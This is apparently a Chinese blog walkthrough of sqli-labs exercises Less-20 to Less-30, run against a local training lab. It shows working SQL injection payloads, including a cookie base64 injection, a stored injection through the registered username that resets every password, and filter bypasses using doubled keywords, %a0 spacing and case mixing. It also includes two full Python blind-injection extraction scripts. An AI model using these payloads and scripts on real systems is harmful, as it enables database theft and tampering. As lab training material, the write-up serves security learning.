此题的注入点还是再uname,不过这次uname别base64编码了,我们来看一下源码
首先来看一下这个危险字符过滤函数:
这个不是我们的重点,但是也是它导致我们在登陆界面不能进行注入。我们的重点放在后台代码对cookie中的uname的操作上:
可以看到,我们页面输出的uname的值实际上就是经过base64编码过后的username的值,如果他这里没有进行输入检查的话,根据它后面的逻辑漏洞我们完全可以从登陆界面对username字段进行注入。
重点来了:
这里后台在处理uname的时候又对其进行了解码,直接导致了注入,当然因为是base64_decode,所以我们需要先对攻击语句进行base64编码过后,再进行输入,这些操作都可以通过burpsuite抓包,然后修改cookie的uname值完成。我就不一一讲了,不会使用burpsuite的请自行百度吧。
只是讲less21的单引号换成了双引号,这里不再阐述
根据提示,这一题过滤了注释符,我也测试了一下,-- 与#都没用,那我们就只有想办法绕过了。
首先,输入单引号报错,根据报错信息,也可以知道是单引号字符注入。报错的原因自然就是那个多出来的引号了,我们现在不能使用注释,就只有想办法把那个多出来的单引号变得合法是吧。所以最好的办法就是闭合它,所以我就有了这么个攻击语句:
' union select null,version(),'
最后那个引号就可以成功闭合后面的语句,我们来通过源码看一下,更加直观:
原来的sql语句,被注入后变成了:
select * from users where id='' union select null,version(),'' limit 0,1
version()可以换成其它我们想要的信息。
这一题是比较有意思的一道题,根据提示是一个存储型的注入,存储型的注入的话,我们至少需要知道亮点:
**1.**注入点在哪里
**2.**我们注入的数据输出在了哪里
我们一起来看看页面吧:
除了登陆还有,【忘记密码】【注册新用户】
想到是存储型注入,肯定要想办法把我们的数据放进数据库里,看了下忘记密码是不行的,只有注册一个新用户登陆试试。
登陆进来是一个改密的界面,我一开始以为显示在页面上的用户名就是我们的输出点,结果测试发现并不是。它应该只是把我们的用户名post过去的用户名简单的输出在了页面上,并没有执行数据库查询操作。试一下改密功能,是可以成功修改密码的,这里一定执行了sql语句,而且是一条update语句,类似如下:
update users set password = 用户输入 where username=用户名
这个语句有两处可控,新密码以及用户名,新密码我试过了是不行的,考虑到题目时存储型注入,初步判断注入点就是我们注册的用户名,输出就是这里的改密操作,简单试一下。
注册一个新用户:
用它登陆一下,然后执行改密操作:
当我殿下reset后:
悲剧发生了,数据库中的密码全部被修改了(在真实环境中千万不要这么干)
注入也就成功了,这道题我没能爆出数据,因为username的长度有限制,我们来看下源码:
关键地方就是这一句sql语句,而且可以跟踪一下username都是没有进行处理的,而密码都是经过mysql_real_escape_string()函数过滤了的。
提示:
过滤了or与and,进入题目:
跟着步骤走:
1.判断注入点
2.判断字段数(order by)
3.或取数据
这是一个单引号字符注入,由于or与and都被过滤了,所以order使用的时候有一个小技巧:
' oorrder by 1--+
最后:
http://localhost/sqlilabs/Less-25/?id=%27%20union%20select%201,version(),3%20--+
盲注。
简单粗暴,直接上脚本(原理在本系列博文之前也提过了):
#! /usr/bin/env/python
#-*-coding:utf-8-*-
import requests
from bs4 import BeautifulSoup
import time
chars = r'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@;\/:.'
#boolean blind sql injection
def attack(target):
url = "http://localhost/sqlilabs/Less-25a/?id=1 anandd (select substr({0},{1},1))='{2}'"
count = 1
result = ''
while(True):
result_tmp = result
for char in chars:
if char == '\\':
char = '\\\\'
print url.format(target,count,char)
response = requests.get(url.format(target,count,char))
soup = BeautifulSoup(response.text,'lxml')
font = soup.select('font["size=5"]')[0]
print font
if 'Your' in font.get_text():
result+=char
print result+'......'
break
#判断是否结束
if result_tmp == result:
print u'脚本结束(结果不区分大小写)'
print result
break
count = count+1
空格被过滤,注释符也被过滤
空格绕过方法一般有用/**/、/!/等方法替代,除此之外还可以用%a0替代空格,本地可行,然后注释符被过滤了,我们就只有自行用单引号闭合多出来的引号,所以:
注:其它绕过绕过空格方法:%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格
/**/
()
http://localhost/sqlilabs/Less-26/?id=0%27union%a0select%a01,version(),%272
补充:有些效果版用了上面的方法依旧绕过开这个空格过滤,可能是由于你搭建的环境解析不了%a0,我也是在看其它博文的时候发现的,请大家自行测试
#! /usr/bin/env/python
#-*-coding:utf-8-*-
import requests
from bs4 import BeautifulSoup
import time
chars = r'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@;\/:.'
#boolean blind sql injection
def attack(target):
length = 0
url = "http://localhost/sqlilabs/Less-26a/?id=1%27%a0anandd%a0(select%a0substr({0},{1},1))=%27{2}"
get_len = "http://localhost/sqlilabs/Less-26a/?id=1%27%a0anandd%a0(select%a0length({0}))='{1}"
for i in range(1,101):
response = requests.get(get_len.format(target,i))
soup = BeautifulSoup(response.text,'lxml')
try:
font = soup.select('font["size=5"]')[0]
print 'The Length is %d'%i+'\n'
length = i
except:
pass
count = 1
result = ''
for i in range(1,length+1):
result_tmp = result
for char in chars:
if char == '\\':
char = '%5c'
print url.format(target,count,char)
response = requests.get(url.format(target,count,char))
soup = BeautifulSoup(response.text,'lxml')
try:
font = soup.select('font["size=5"]')[0]
print font
result+=char
print result+'.....'
break
# if 'Your' in font.get_text():
# result+=char
# print result+'......'
# break
except IndexError,e:
print str(e)+'\n'
#判断是否结束
if result_tmp == result:
print u'脚本结束(结果不区分大小写)'
print result
break
count = count+1
tips:
测试了一下,过滤了:空格、注释符、union(大小写)、select(大小写)
我们用双关键字绕过,而且还要结合着大小写混淆:
http://localhost/sqlilabs/Less-27/?id=1%27uniunionoN%a0seleselectCt%a01,version(),%272
看下源码:
这个黑名单可以直接通过大小写绕过
####less27a
脚本我就不放了
tips:
我感觉这题是不是搞错了:
看下源码:
的确是过滤了select,union的所有啊,但是为什么我可以直接注入.
即使顾虑了,我们也可以通过这种方式绕过:uniunionon,selselectect
####less29
声称最好的waf,却没有过滤:/**/、or、and、select、union,各种注释
http://localhost/sqlilabs/Less-29/?id=0%27union/**/select/**/1,version(),3--+
http://localhost/sqlilabs/Less-30/?id=0%22%20union%20select%201,version(),3--+